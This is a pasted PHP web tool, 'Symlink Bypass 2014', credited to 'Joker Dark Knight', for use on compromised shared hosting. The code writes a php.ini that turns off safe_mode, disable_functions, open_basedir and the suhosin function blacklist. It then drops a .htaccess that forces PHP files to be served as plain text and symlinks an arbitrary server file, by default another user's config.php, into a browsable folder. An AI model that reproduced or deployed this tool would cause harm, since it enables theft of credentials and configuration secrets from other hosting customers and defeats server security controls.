Symlink Bypass 2014 - Shells-Center.Com


SUBMITTED BY: Guest

DATE: Sept. 5, 2014, 4:20 p.m.

FORMAT: PHP

SIZE: 4.6 kB

HITS: 526

  1. <html xmlns="http://www.w3.org/1999/xhtml">
  2. <head>
  3. <title>Bypass Symlink 2014</title><link rel="shortcut icon" href="http://www.iconj.com/ico/2/j/2j62fbaa2w.ico" type="image/x-icon" />
  4. <link href="http://fonts.googleapis.com/css?family=Ubuntu&effect=fire-animation" rel="stylesheet" type="text/css">
  5. <style type="text/css">
  6. html,body { margin: 0; padding: 0; outline: 0; }
  7. a{ font-size: 12px; }
  8. body { direction: ltr; background:
  9. url("http://i.imgur.com/hg21xZ9.png") repeat ,
  10. url("http://www7.0zz0.com/2014/05/28/03/906797114.jpg") no-repeat center top,top left,top right; background-color:#151515; color: rgb(0, 153, 0); text-align: center } input,textarea,select{ font-weight: bold; color: #000000; }
  11. input,textarea,select:hover{ box-shadow: 0px 0px 4px #00cc00; }
  12. .hedr { font-family: Tahoma, Arial, sans-serif ; font-size: 22px; }
  13. .cont a{ text-decoration: none; color:rgb(0, 153, 0); font-family: Tahoma, Arial, sans-serif ; font-size: 16px; text-shadow: 0px 0px 3px ; }
  14. .cont a:hover{ color: #FF0000 ; text-shadow:0px 0px 3px #ff0000 ; }
  15. .cone a{ text-decoration: none; color:rgb(0, 153, 0); font-family: Tahoma, Arial, sans-serif ; font-size: 12px; text-shadow: 0px 0px 3px ; }
  16. .cone a:hover{ color: #FF0000 ; text-shadow:0px 0px 3px #ff0000 ; }
  17. .tmp tr td{ border: solid 1px #006600; padding: 2px ; font-size: 13px; }
  18. .tmp tr td a { text-decoration: none; }
  19. .foter{ font-size: 9pt; color: #006600 ; text-align: center }
  20. .tmp tr td:hover{ box-shadow: 0px 0px 4px #00cc00; }
  21. .fot{ font-family:Tahoma, Arial, sans-serif; color: #009900 ; font-size: 11pt; }
  22. .for a : hover{ color: #FF0000 ; text-shadow: 0px 0px 1px #FF0000; }
  23. .ir { color: #FF0000; }
  24. .tul { face:Tahoma, Geneva, sans-serif; font-size: 7pt; }
  25. #menu a{ padding: 1px; border: 0px solid green; color: green; text-decoration: none;color: #009900; font-weight: bold; font-family: Tahoma, Geneva, sans-serif; font-size:12px; }
  26. #menu a:hover{ border: 0px solid red; color: red; }
  27. </style>
  28. </head>
  29. <?php
  30. // Extract php.ini //
  31. $fp = fopen("php.ini","w+");
  32. fwrite($fp,"Safe_mode = OFF
  33. Safe_mode_gid = OFF
  34. Disable_Functions = NONE
  35. Open_basedir = OFF
  36. suhosin.executor.func.blacklist = NONE ");
  37. echo '<br><b class="cont" align="center"><b class="font-effect-fire-animation" style=font-family:Ubuntu;font-size:25px;color:green;>Symlink Bypass 2014</b></b><br><p align="center">';
  38. echo'
  39. <form method="post">
  40. <input type="text" name="file" value="/home/user/public_html/config.php" size="60"/><br /><br />
  41. <input type="text" name="jokerfile" value="output.txt" size="60"/><br /><br />
  42. <input type="submit" value="Bypass" name="symlink" /> <br /><br />
  43. </form>
  44. ';
  45. echo '<div class="tul"><b>PHP VERSION:</b> <font color="009900" face="shell, Geneva, sans-serif" style="font-size: 8pt">';echo phpversion();
  46. $fichier = $_POST['file'];
  47. $jokerfile = $_POST['jokerfile'];
  48. $symlink = $_POST['symlink'];
  49. if ($symlink)
  50. {
  51. $dir = "jdk";
  52. if(file_exists($dir)) {
  53. echo "<br><font color='red'>[+] jdk Folder Already Exist °_° are you Drunk XD !!!</font><br />\n";
  54. } else {
  55. @mkdir($dir); {
  56. echo "<br><font color='red'>\!/ jdk Folder Created ^_^ \!/</font><br />\n";
  57. echo "<br><font color='red'>\!/ $jokerfile Retrieved Successfully ^_^ \!/</font><br />\n";
  58. } }
  59. // Extract Priv8 htaccess File //
  60. $priv9 = "#Priv9 htaccess
  61. OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
  62. DirectoryIndex $jokerfile
  63. ForceType text/plain
  64. AddType text/plain .php
  65. AddType text/plain .html
  66. AddType text/html .shtml
  67. AddType txt .php
  68. Options All
  69. Options All
  70. ";
  71. $f =@fopen ('jdk/.htaccess','w');
  72. @fwrite($f , $priv9);
  73. @symlink("$fichier","jdk/$jokerfile");
  74. echo '<br /><a target="_blank" href="jdk/" >'.$jokerfile.'</a>';
  75. }
  76. echo"<h3>
  77. GreetZ To : VHG - CEH - VHB - Silver Team - EHG - Hands Team - XNT - THT - LVH</h3>
  78. ";
  79. echo"Develop by: Joker Dark Knight";
  80. ?>

comments powered by Disqus